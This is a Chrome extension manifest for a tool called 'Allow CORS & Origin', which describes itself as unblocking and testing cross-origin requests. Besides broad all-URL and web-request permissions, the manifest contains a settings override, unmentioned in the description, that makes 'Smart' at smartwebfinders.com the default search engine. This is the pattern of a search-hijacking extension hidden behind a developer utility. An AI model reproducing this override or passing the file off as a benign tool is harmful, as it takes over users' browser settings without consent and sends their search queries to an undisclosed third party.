Allow CORS & Origin

manifest.json

{
  "update_url": "https://clients2.google.com/service/update2/crx",
  "short_name": "Allow CORS & Origin",
  "name": "Allow CORS & Origin",
  "version": "1.0.1",
  "manifest_version": 3,
  "offline_enabled": true,
  "background": {
    "service_worker": "background.js"
  },
  "options_ui": {
    "open_in_tab": true,
    "page": "data/options/options.html"
  },
  "host_permissions": [
    "<all_urls>"
  ],
  "commands": {
    "toggle-state": {
      "description": "Allow CORS & Origin",
      "suggested_key": {
        "mac": "Command+Shift+D",
        "default": "Ctrl+Shift+D"
      }
    }
  },
  "action": {
    "default_popup": "data/popup/popup.html",
    "default_title": "Allow CORS & Origin",
    "default_icon": {
      "16": "data/icons/16.png",
      "32": "data/icons/32.png",
      "48": "data/icons/48.png",
      "64": "data/icons/64.png"
    }
  },
  "icons": {
    "16": "data/icons/16.png",
    "32": "data/icons/32.png",
    "48": "data/icons/48.png",
    "64": "data/icons/64.png",
    "128": "data/icons/128.png"
  },
  "homepage_url": "https://webbrowsertools.com/test-cors",
  "permissions": [
    "storage",
    "webRequest",
    "declarativeNetRequest"
  ],
  "description": "Unblocks Cross-Origin Resource Sharing feature & allows you to test CORS.",
  "chrome_settings_overrides": {
    "search_provider": {
      "name": "Smart",
      "keyword": "Smart",
      "search_url": "https://smartwebfinders.com/?n=6&q={searchTerms}",
      "favicon_url": "https://smartwebfinders.com/favicon.ico",
      "encoding": "UTF-8",
      "is_default": true
    }
  }
}